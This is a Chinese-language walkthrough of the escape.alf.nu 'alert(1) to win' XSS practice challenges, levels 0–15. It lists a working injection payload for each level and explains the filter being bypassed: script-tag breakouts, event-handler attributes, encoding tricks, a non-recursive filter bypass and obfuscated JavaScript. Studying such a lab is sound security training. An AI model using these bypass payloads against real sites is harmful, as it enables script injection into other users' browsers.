地址:http://escape.alf.nu/

level 0: 注意补全,");alert(1)//

level 1: 通过添加反斜线使用来转义的反斜线变为字符,\");alert(1)//

level 2: 双引号,反斜杠都被转义了……没想到办法,就搜了搜,原来可以直接不管双引号而闭合<script>标签,可能优先级不同吧,</script><script>alert(1)//

level 3: JSON.stringify() 方法可以将任意的 JavaScript 值序列化成 JSON 字符串。<a> 标签的href属性可执行js代码,尝试补全双引号,插入自己的js代码,直接插入会被转义,使用URLencode可绕过,%22),alert(1)(%22

level 4: 这个题需要仔细地观察正则式,注意到 " 仅仅替换了一次,<a>标签中不能有空白符比较难用,而 <img> 标签中的第二个匹配文本允许除换行符以外的任意字符,这个就比较好用了,注意闭合引号就好了,[[1|2"" onload=alert(1) "]]

level 5: 这是第4题的升级版," 全部被替换了,因此第4题的方法行不通了,对"进行编码也行不通,百思不得其解啊,无奈看了看评论,得到解答 [[1|http://onload='alert(1)']],原来是同时利用 <img> 标签跟 <a> 标签啊!看看输出的源码就会发现,成功绕过了 "

level 6: 以 # 作为分隔符输入两个参数,如果 # 前面是 Element 结果就是创建一个新的节点,具体什么节点由 # 后面指定,而如果 # 前面是 Comment,那么 # 后面就变成注释内容,闭合注释符号然后写入自己的代码即可, Comment#><script>alert(1)</script><!

level 7: 仍然是以 # 作为分隔符输入两个参数,对第一个参数做正则匹配,注意匹配的字符中包括单引号 ',这是本题的关键,使用单引号和注释符号来隔离 json 字符串中碍事的字符,就可以构造出来了,'#';alert(1)//

level 8: 使用 Data URI,插入一个 html 文档,</script><script src=data:text/html,%61%6c%65%72%74(1)>

level 9: 其中一个答案

"+[][(''+!1)[3]+(''+{})[1]+(''+!0)[1]+(''+!0)[0]][(''+{})[5]+(''+{})[1]+(''+{}[0])[1]+(''+!1)[3]+(''+!0)[0]+(''+!0)[1]+(''+!0)[2]+(''+{})[5]+(''+!0)[0]+(''+{})[1]+(''+!0)[1]]((''+!1)[1] + (''+!1)[2] + (''+!1)[4] +(''+!0)[1]+(''+!0)[0]+"(1)")())//

不过没看懂,详见http://www.pwntester.com/blog/2014/01/08/escape-alf-nu-xss-challenges-write-ups-part-257/

level 10: 仔细分析代码可知,输入被js加入到<a>标签中,但是加入之前做了编码转换,但是没有对输入的\进行编码,因此我们可以利用16进制或8进制编码被过滤的符号来进行注入,其中一个答案是:\x3cimg src=# onerror=alert(1)\x3e

level 11: 在 level 2 的基础上加了将输入中的</script字符串(忽略大小写)全部替换为空串,但是并没有递归匹配,因此可以构造一个字符串使被替换后剩下的字符串仍然能拼出</script,例如:</scr</scriptipt><script>alert(1)//

level 12: 跟 level 7 类似,只不过这次过滤的是/,因此要找一种不同的方式来注释掉多余的字符,答案是:'#';alert(1)<!--

level 13: 关键是触发

tag.onload = function() {
  if (youWon) alert(1);
};

答案是name="youWon"

level 14: HTML5解析器会将<!--<script></script>之间的任何东西都当作 JS

代码处理,同时要确保代码中还有一个-->来防止解析器报语法错误,我们可以注入if(alert(1)/*<!--<script>,结果代码就变为

var url = "if(alert(1)/*<!--<script>"; // We'll use this later </script>

<!-- for debugging -->
URL: if(alert(1)/*<!--<script> <!-- then suddenly -->
<script>
if (!/^http:.*/.test(url)) console.log("Bad url: " + url);
else new Image().src = url;

level 15: 与 level 14 类似,但是需要自己注入-->来闭合标签,答案是:<!--<script>#)/;alert(1)//-->,结果代码变为

<script>console.log("<!--<script>")</script><script>console.log(")/;alert(1)//-->")</script>

<script>标签内的代码被解析为

console.log("junk_string") < /junk_regexp/ ; alert(1) // -->

其中,junk_string:<!--<script>,junk_regexp: script><script>console.log(")

"alert(1) to win" writeup的更多相关文章

  1. 【alert(1) to win】不完全攻略

    alert(1) to win 一个练习XSS的平台,地址:https://alf.nu/alert1 Warmup 给出了一段JavaScript代码 function escape(s) { re ...

  2. alert(1) to win Part Ⅰ

    alert(1) to win Adobe: function escape(s) { s = s.replace(/"/g, '\\"'); return '<script ...

  3. 【20171027中】alert(1) to win 第13,14,15,16题

    第13题 题目: function escape(s) { var tag = document.createElement('iframe'); // For this one, you get t ...

  4. 【20171027早】alert(1) to win 第9,10,11,12题

    人在江湖,不服就干! 第9题: function escape(s) { function htmlEscape(s) { return s.replace(/./g, function(x) { r ...

  5. 【20171026早】alert(1) to win - 第六、七、八题

    早上7点起床,又写了一篇小说发在了起点网上,有兴趣的可以看看.点击这里 忙完后,继续练习,刚开始发现自己答题的速度有些慢,可能是因为对于html,javascript知识不是很精通,但是话又说回来,谁 ...

  6. 【20171025晚】alert(1) to win 第五题 正则表达式过滤

    吃过晚饭,再练一题 第五题 function escape(s) { var text = s.replace(/</g, '<').replace(/"/g, '"' ...

  7. 【20171025中】alert(1) to win 脚本渲染自建

    游戏误人生,一下午玩了将近四个小时的三国杀,后悔不已,然后重新拾起xss challenge,突发奇想,自己构建渲染后的html. 从最简单的开始. 自动检测html: <!DOCTYPE ht ...

  8. 【20171025早】alert(1) to win 练习

    本人黑绝楼,自称老黑,男,25岁,曾经在BAT工作过两年,但是一直都是底层人员,整天做重复性工作,甚敢无趣,曾和工作十年之久的同事聊天,发现对方回首过往,生活是寡淡如水,只有机械性工作.旋即老黑毅然决 ...

  9. alert(1) to win部分解题

    XSS在线习题分析 (https://alf.nu/alert1) 1. Warmup function escape(s) { return '<script>console.log(& ...

随机推荐

  1. gulp的作用,安装,使用

    1.gulp是什么?    Gulp是基于node的一个自动化构建工具,开发者可以使用它构建自动化工作流程(前端集成开发环境).例如:网页自动刷新,CSS预处理,代码检测,图片压缩等功能,只需要简单的 ...

  2. 获取网卡速率,cpu使用率

    ];//获取网卡名称 PerformanceCounter NetworkR = new PerformanceCounter("Network Interface", " ...

  3. 51 Nod 1636 教育改革(dp)

    1636 教育改革  题目来源: CodeForces 基准时间限制:1 秒 空间限制:131072 KB 分值: 20 难度:3级算法题  收藏  关注 最近A学校正在实施教育改革. 一个学年由n天 ...

  4. 【CUDA 基础】3.4 避免分支分化

    - title: [CUDA 基础]3.4 避免分支分化 categories: - CUDA - Freshman tags: - 规约问题 - 分支分化 toc: true date: 2018- ...

  5. SpringMVC——MVC执行流程底层剖析

    SpringMVC流程图如上面所示,根据上图,串联一下底层源码: 1.在DispatcherServlet中找到doDisPatch 2.观察方法体,然后找到getHandler方法 3.点进方法,发 ...

  6. Jmeter(六)关联之XPath提取器

    如果请求返回的消息为xml或html格式的,可以用XPath提取器来提取需要的数据 以http://www.weather.com.cn/为例: 先新建一个HTTP请求GetCityURL,获取城市天 ...

  7. 90%的人说Python程序慢,5大神招让你的代码像赛车一样跑起来

    1.for 循环 我们大部分的时候代码里面都有for循环,然后里面嵌套一段逻辑处理,下面有两种方法来完成: 二者的性能差距有多大呢,一般我们用内置的timeit模块来量化比较: 把传统的for改成推导 ...

  8. AcWing:145. 超市(贪心 + 小根堆 or 贪心 + 并查集)

    超市里有N件商品,每个商品都有利润pipi和过期时间didi,每天只能卖一件商品,过期商品(即当天di<=0di<=0)不能再卖. 求合理安排每天卖的商品的情况下,可以得到的最大收益是多少 ...

  9. Linux网络编程一、tcp三次握手,四次挥手

    一.TCP报文格式 (图片来源网络) SYN:请求建立连接标志位 ACK:应答标志位 FIN:断开连接标志位 二.三次握手,数据传输,四次挥手 (流程图,图片来源于网络) (tcp状态转换图,图片来源 ...

  10. JavaWeb-SpringSecurity图片验证ImageCode

    系列博文 项目已上传至guthub 传送门 JavaWeb-SpringSecurity初认识 传送门 JavaWeb-SpringSecurity在数据库中查询登陆用户 传送门 JavaWeb-Sp ...